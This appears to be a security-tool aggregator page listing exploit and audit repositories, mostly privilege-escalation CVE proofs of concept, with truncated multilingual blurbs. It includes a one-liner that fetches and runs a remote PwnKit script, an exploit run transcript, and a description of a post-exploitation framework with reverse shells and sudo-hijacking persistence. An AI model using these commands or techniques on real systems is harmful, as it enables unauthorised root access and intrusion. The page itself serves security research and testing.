CVE-2026-77123 Nexus Repository 3 - Webhook Secret Disclosure via Capability Read API

Nexus Repository 3 contains a sensitive information disclosure vulnerability in the capability read API. An account holding the nexus:capabilities:read privilege can retrieve the plaintext shared secret configured on a webhook capability, which is intended to be masked from all API responses. Thi...

CVE-2020-25637-libvirt-double-free

root@kitploit: CVE-2020-25637 root@kitploit: Descripción Se produjo un problema de doble liberación de memoria en la API libvirt, en versiones anteriores a la versión 6.8.0, encargada de solicitar información sobre las interfaces de red de un dominio QEMU en ejecución. Esta falla afecta al...

BloodHound-Tools

¿Qué es esto? Una colección de herramientas que se integran con BloodHound. Bloodhound es el estándar de facto que tanto los equipos de seguridad azules como rojos utilizan para encontrar rutas de movimiento lateral y escalado de privilegios que potencialmente podrían ser explotadas en un entorno...

PwnKit

PwnKit Exploit autónomo para CVE-2021-4034 - Escalada de privilegios local de Pkexec Uso Debería funcionar directamente en distribuciones Linux vulnerables basadas en Ubuntu, Debian, Fedora y CentOS. root@kitploit: sh -c "$curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh"...

CVE-2025-32463_illdeed

CVE-2025-32463 — Exploit de escalada de privilegios de sudo -R variante illdeed Este es un exploit de prueba de concepto PoC refactorizado para CVE-2025-32463, una vulnerabilidad crítica en las versiones 1.9.14 a 1.9.17 de sudo que permite escalada local de privilegios a root a través de sudo -R ...

PwnKit-Exploit

PwnKit-Exploit CVE-2021-4034 @c0br40x 帮助制作了README中的这一部分！ 概念验证 root@kitploit: debian@debian:/PwnKit-Exploit$ make cc -Wall exploit.c -o exploit debian@debian:/PwnKit-Exploit$ whoami debian debian@debian:/PwnKit-Exploit$ ./exploit Current User before execute exploit hacker@victim$whoami: debian...

PSPKIAudit

PSPKIAudit Kit de herramientas de PowerShell para auditar Active Directory Certificate Services AD CS. Está construido sobre el kit de herramientas PSPKI Microsoft Public License de PKISolution. Este repositorio contiene una versión más reciente de PSPKI que la disponible en PSGallery consulte el...

MacDirtyCow

MacDirtyCow Ejemplo de CVE-2022-46689 también conocido como MacDirtyCow. ¿Qué es? MacDirtyCow es una vulnerabilidad de escalada de privilegios en macOS, similar a la vulnerabilidad Dirty COW en Linux. La vulnerabilidad reside en el mecanismo de copia en escritura COW utilizado por el kernel XNU d...

CVE-2025-32463

CVE-2025-32463 🚨 Privilege escalation to root usingsudo chroot. No need for gcc installed. 🚀 What is CVE-2025-32463? CVE-2025-32463 is a Linux vulnerability that allows a local attacker to escalate privileges to root by abusing the sudo chroot command. Unlike similar exploits, this technique does...

CVE-2023-5178

CVE-2023-5178 El exploit para la vulnerabilidad CVE-2023-5178: NVMe-oF-TCP, que es un error de lógica en el controlador NVMe-oF-TCP durante el manejo de una Initialize Connection Request corrupta. Conduce a un doble-free con condición de carrera en kmalloc-96 , que puede explotarse para obtener L...

cve-2015-5602

CVE-2015-5602 This is part of Cved: a tool to manage vulnerable docker containers. Cved: https://github.com/git-rep-src/cved Image source: https://github.com/cved-sources/cve-2015-5602 Image author: https://github.com/t0kx/privesc-CVE-2015-5602...

CVE-2026-50656-rogueplanet-validation

针对 Microsoft Defender 的 RoguePlanet PoC 验证报告 报告目的与范围 本报告涉及公开描述的与 Microsoft Defender 相关的 RoguePlanet PoC 的验证。该技术在媒体上于2026年6月10日被描述为本地权限提升（LPE），本地用户可通过该技术获取 NT AUTHORITY\SYSTEM 权限。公开描述指出，该机制使用了 Microsoft Defender 在处理或扫描文件时使用的函数。 测试的目的在于确定该漏洞能否在受控实验室环境中准备和执行，并观察在最新的 Windows 11 系统上 Microsoft Defender...

CVE-2024-40586-Windows-Coerced-Authentication-in-FortiClient

CVE-2024-40586 Autenticación Coaccionada de Windows en FortiClient En sistemas Windows, se encontró que FortiClient versión de la aplicación 7.0.8.0427 permite a un usuario remoto sin privilegios coaccionar a los hosts de Windows para que se autentiquen en otras máquinas a través de una tubería c...

CVE-2023-28252

Desde febrero de 2022 se reportó un nuevo ransomware que parece estar utilizando una vulnerabilidad de día cero de Windows, según la investigación realizada por Trend Micro. Se puede encontrar más información sobre este ransomware en este enlace. Según el análisis de Kaspersky, el grupo de...

RedGhost

RedGhost Linux 后渗透框架，旨在帮助红队实现持久化、侦察、权限提升以及不留下痕迹。 Payloads 生成各种编码的反向 Shell 的函数，支持 netcat, bash, python, php, ruby, perl SudoInject 为 sudo 命令注入包装函数的函数，每次运行 "sudo" 时执行反向 root Shell，用于权限提升 lsInject 为 "ls" 命令注入包装函数的函数，每次运行 "ls" 时执行 payload，用于持久化 SSHKeyInject 使用 strace 记录 SSH 进程按键记录的函数 Crontab 创建 cron...

letsdefend-cve-2024-49138-investigation

Investigación LetsDefend: CVE-2024-49138 🔍 Descripción general Investigación práctica de SOC y simulación de respuesta a incidentes utilizando LetsDefend, centrada en la explotación real de CVE-2024-49138 , una vulnerabilidad de escalada de privilegios en el controlador CLFS de Windows. 📅 Detalle...

RefluxFS_CVE-2026-64600

🚨 CVE-2026-64600 — RefluxFS Локальное повышение привилегий в ядре Linux LPE 📖 Обзор CVE-2026-64600 «RefluxFS» — это уязвимость ядра Linux, затрагивающая реализацию файловой системы RefluxFS. Ошибка вызвана некорректной проверкой метаданных файловой системы, что потенциально приводит к повреждению...

privilege-escalation-breach

Security breach project - Privilege escalation The vulnerability is in Oracle Solaris, a product of Oracle Systems component: XScreenSaver. The supported version that is affected is 11. It's an easily exploitable vulnerability which allows low privileged attackers with logon to the infrastructure...

ZygoteExploitDemo

🔥 ZygoteExploitDemo - Laboratorio de Seguridad Android CVE-2024-31317 🚨 Demostración Educativa de la Vulnerabilidad de Inyección de Zygote en Android 📋 Resumen Este laboratorio demuestra CVE-2024-31317 , una vulnerabilidad crítica de Android que permite a una aplicación maliciosa escalar...

CVE-2020-1472

CVE-2020-1472 POC 需要来自GitHub的最新impacket，并添加了netlogon结构体。 请注意，默认情况下这会更改域控制器帐户的密码。是的，这允许你进行DCSync，但它也会破坏与其他域控制器的通信，所以要小心！ 更多信息和原始研究请点击此处 安装 仅适用于 Python 3.6 及更高版本 ！如果你的操作系统已预装 impacket（例如 Kali），请务必先移除所有现有安装。如果之后仍然遇到导入错误，请通过 virtualenv 或 pipenv 运行。 利用步骤 阅读上面的博客/白皮书，了解你在做什么 运行...